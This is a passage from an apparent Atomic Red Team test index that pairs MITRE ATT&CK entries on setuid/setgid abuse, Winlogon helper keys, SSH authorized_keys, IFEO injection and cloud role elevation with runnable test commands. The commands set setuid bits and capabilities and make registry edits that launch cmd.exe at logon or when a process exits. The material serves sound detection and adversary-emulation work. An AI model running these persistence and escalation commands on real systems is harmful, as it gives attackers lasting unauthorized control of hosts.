#{file_to_setuid} chmod u+xs #{file_to_setuid} cleanup_command: 'rm #{file_to_setuid} ' name: sh elevation_required: true - name: Set a SetGID flag on file auto_generated_guid: db55f666-7cba-46c6-9fe6-205a05c3242c description: 'This test sets the SetGID flag on a file in Linux and macOS. ' supported_platforms: - macos - linux input_arguments: file_to_setuid: description: Path of file to set SetGID flag type: path default: "/tmp/evilBinary" executor: command: | sudo touch #{file_to_setuid} sudo chown root #{file_to_setuid} sudo chmod g+xs #{file_to_setuid} cleanup_command: 'sudo rm #{file_to_setuid} ' name: sh elevation_required: true - name: Set a SetGID flag on file (freebsd) auto_generated_guid: 1f73af33-62a8-4bf1-bd10-3bea931f2c0d description: 'This test sets the SetGID flag on a file in FreeBSD. ' supported_platforms: - linux input_arguments: file_to_setuid: description: Path of file to set SetGID flag type: path default: "/tmp/evilBinary" executor: command: | touch #{file_to_setuid} chown root #{file_to_setuid} chmod g+xs #{file_to_setuid} cleanup_command: 'rm #{file_to_setuid} ' name: sh elevation_required: true - name: Make and modify capabilities of a binary auto_generated_guid: db53959c-207d-4000-9e7a-cd8eb417e072 description: | Make and modify [capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) of a C source code file. The binary doesn't have to modify the UID, but the binary is given the capability to arbitrarily modify it at any time with `setuid(0)`. Without being owned by root, the binary can set the UID to 0. supported_platforms: - linux input_arguments: payload: description: cap.c payload type: path default: PathToAtomicsFolder/T1548.001/src/cap.c executor: command: | cp #{payload} /tmp/cap.c make /tmp/cap sudo setcap cap_setuid=ep /tmp/cap /tmp/cap cleanup_command: | rm /tmp/cap rm /tmp/cap.c name: sh elevation_required: true - name: Provide the SetUID capability to a file auto_generated_guid: 1ac3272f-9bcf-443a-9888-4b1d3de785c1 description: 'This test gives a file the capability to set UID without using flags. ' supported_platforms: - linux input_arguments: file_to_setcap: description: Path of file to provide the SetUID capability type: path default: "/tmp/evilBinary" executor: command: | touch #{file_to_setcap} sudo setcap cap_setuid=ep #{file_to_setcap} cleanup_command: 'rm #{file_to_setcap} ' name: sh elevation_required: true - name: Do reconnaissance for files that have the setuid bit set auto_generated_guid: 8e36da01-cd29-45fd-be72-8a0fcaad4481 description: 'This test simulates a command that can be run to enumerate files that have the setuid bit set ' supported_platforms: - linux executor: command: 'find /usr/bin -perm -4000 ' name: sh - name: Do reconnaissance for files that have the setgid bit set auto_generated_guid: 3fb46e17-f337-4c14-9f9a-a471946533e2 description: 'This test simulates a command that can be run to enumerate files that have the setgid bit set ' supported_platforms: - linux executor: command: 'find /usr/bin -perm -2000 ' name: sh T1547.004: technique: modified: '2024-02-14T21:24:37.780Z' name: 'Boot or Logon Autostart Execution: Winlogon Helper DLL' description: "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Praetorian x_mitre_deprecated: false x_mitre_detection: |- Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Module: Module Load' - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' x_mitre_permissions_required: - SYSTEM - Administrator type: attack-pattern id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35 created: '2020-01-24T16:59:59.688Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/004 external_id: T1547.004 - source_name: Cylance Reg Persistence Sept 2013 description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.' url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - source_name: TechNet Autoruns description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. url: https://technet.microsoft.com/en-us/sysinternals/bb963902 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.004 atomic_tests: - name: Winlogon Shell Key Persistence - PowerShell auto_generated_guid: bf9f9d65-ee4d-4c3e-a843-777d04f19c38 description: | PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon Userinit Key Persistence - PowerShell auto_generated_guid: fb32c935-ee2e-454b-8fa3-1c46b42e8dfb description: | PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon Notify Key Logon Persistence - PowerShell auto_generated_guid: d40da266-e073-4e5a-bb8b-2b385023e5f9 description: | PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon. Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon. Please note that Winlogon Notifications have been removed as of Windows Vista / Windows Server 2008 and that this test thus only applies to erlier versions of Windows. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of notification package to execute type: path default: C:\Windows\Temp\atomicNotificationPackage.dll function_to_execute: description: Function in notification package to execute type: string default: AtomicTestFunction executor: command: | New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "DllName" "#{binary_to_execute}" -Type ExpandString -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Logon" "#{function_to_execute}" -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Impersonate" 1 -Type DWord -Force Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\AtomicRedTeam" "Asynchronous" 0 -Type DWord -Force cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon HKLM Shell Key Persistence - PowerShell auto_generated_guid: 95a3c42f-8c88-4952-ad60-13b81d929a9d description: | PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore ' name: powershell - name: Winlogon HKLM Userinit Key Persistence - PowerShell auto_generated_guid: f9b8daff-8fa7-4e6a-a1a7-7c14675a545b description: | PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe. Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff. supported_platforms: - windows input_arguments: binary_to_execute: description: Path of binary to execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force ' cleanup_command: 'Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore ' name: powershell T1098.004: technique: modified: '2023-10-03T17:38:21.121Z' name: SSH Authorized Keys description: "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Tony Lambert, Red Canary - Dror Alon, Palo Alto Networks - Or Kliger, Palo Alto Networks - Austin Clark, @c2defense - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: |- Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations. Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. For network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - IaaS - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' type: attack-pattern id: attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4 created: '2020-06-24T12:42:35.144Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/004 external_id: T1098.004 - source_name: Venafi SSH Key Abuse description: 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.' url: https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities - source_name: Google Cloud Privilege Escalation description: Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022. url: https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ - source_name: cisco_ip_ssh_pubkey_ch_cmd description: Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478 - source_name: Cybereason Linux Exim Worm description: Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020. url: https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability - source_name: Google Cloud Add Metadata description: Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022. url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata - source_name: Azure Update Virtual Machines description: Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022. url: https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update - source_name: SSH Authorized Keys description: ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020. url: https://www.ssh.com/ssh/authorized_keys/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.004 atomic_tests: - name: Modify SSH Authorized Keys auto_generated_guid: 342cc723-127c-4d3a-8292-9c0c6b4ecadc description: "Modify contents of /.ssh/authorized_keys to maintain persistence on victim host. \nIf the user is able to save the same contents in the authorized_keys file, it shows user can modify the file.\n" supported_platforms: - linux - macos executor: name: sh elevation_required: false command: 'if [ -f ~/.ssh/authorized_keys ]; then ssh_authorized_keys=$(cat ~/.ssh/authorized_keys); echo "$ssh_authorized_keys" > ~/.ssh/authorized_keys; fi; ' cleanup_command: 'unset ssh_authorized_keys ' T1546.012: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Oddvar Moe, @oddvarmoe object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6 type: attack-pattern created: '2020-01-24T15:05:58.384Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1546.012 url: https://attack.mitre.org/techniques/T1546/012 - url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017. source_name: Microsoft Dev Blog IFEO Mar 2010 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017. source_name: Microsoft GFlags Mar 2017 - url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018. source_name: Microsoft Silent Process Exit NOV 2017 - url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. source_name: Oddvar Moe IFEO APR 2018 - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/ description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014. source_name: Tilbury 2014 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017. source_name: FSecure Hupigon - url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017. source_name: Symantec Ushedix June 2008 modified: '2022-04-25T14:00:00.188Z' name: 'Event Triggered Execution: Image File Execution Options Injection' description: |- Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\dbg\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation. Malware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_detection: |- Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Command: Command Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.012 atomic_tests: - name: IFEO Add Debugger auto_generated_guid: fdda2626-5234-4c90-b163-60849a24c0b8 description: 'Leverage Global Flags Settings ' supported_platforms: - windows input_arguments: target_binary: description: Binary To Attach To type: path default: calc.exe payload_binary: description: Binary To Execute type: path default: C:\Windows\System32\cmd.exe executor: command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" ' cleanup_command: 'reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v Debugger /f >nul 2>&1 ' name: command_prompt elevation_required: true - name: IFEO Global Flags auto_generated_guid: 46b1f278-c8ee-4aa5-acce-65e77b11f3c1 description: 'Leverage Global Flags Settings ' supported_platforms: - windows input_arguments: target_binary: description: Binary To Attach To type: path default: notepad.exe payload_binary: description: Binary To Execute type: path default: C:\Windows\System32\cmd.exe executor: command: | REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}" cleanup_command: | reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f >nul 2>&1 name: command_prompt elevation_required: true - name: GlobalFlags in Image File Execution Options auto_generated_guid: 13117939-c9b2-4a43-999e-0a543df92f0d description: "The following Atomic Test will create a GlobalFlag key under Image File Execution Options, also a SilentProcessExit Key with ReportingMode and MonitorProcess values. This test is similar to a recent CanaryToken that will generate an EventCode 3000 in the Application log when a command, whoami.exe for example, is executed.\nUpon running Whoami.exe, a command shell will spawn and start calc.exe based on the MonitorProcess value. \nUpon successful execution, powershell will modify the registry and spawn calc.exe. An event 3000 will generate in the Application log.\n" supported_platforms: - windows input_arguments: process: description: 'Process to monitor ' type: string default: whoami.exe cmd_to_run: description: 'Command to execute ' type: string default: cmd.exe /c calc.exe executor: command: "$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n" cleanup_command: "$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\" \nRemove-Item $SilentProcessExit -force\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nRemove-Item $registryPath -force\n" name: powershell elevation_required: true T1548.005: technique: modified: '2024-03-28T15:30:09.313Z' name: Temporary Elevated Cloud Access description: "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS - Azure AD - Office 365 - Google Workspace x_mitre_version: '1.1' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c created: '2023-07-10T16:37:15.672Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/005 external_id: T1548.005 - source_name: AWS PassRole description: AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html - source_name: CrowdStrike StellarParticle January 2022 description: 'CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.' url: https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ - source_name: Google Cloud Just in Time Access 2023 description: Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023. url: https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project - source_name: Google Cloud Service Account Authentication Roles description: Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023. url: https://cloud.google.com/iam/docs/service-account-permissions - source_name: Microsoft Impersonation and EWS in Exchange description: Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023. url: https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange - source_name: Azure Just in Time Access 2023 description: Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023. url: https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access - source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - source_name: Rhino Google Cloud Privilege Escalation description: Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved September 21, 2023. url: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ - source_name: Hunters Domain Wide Delegation Google Workspace 2023 description: 'Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.' url: https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover - source_name: Palo 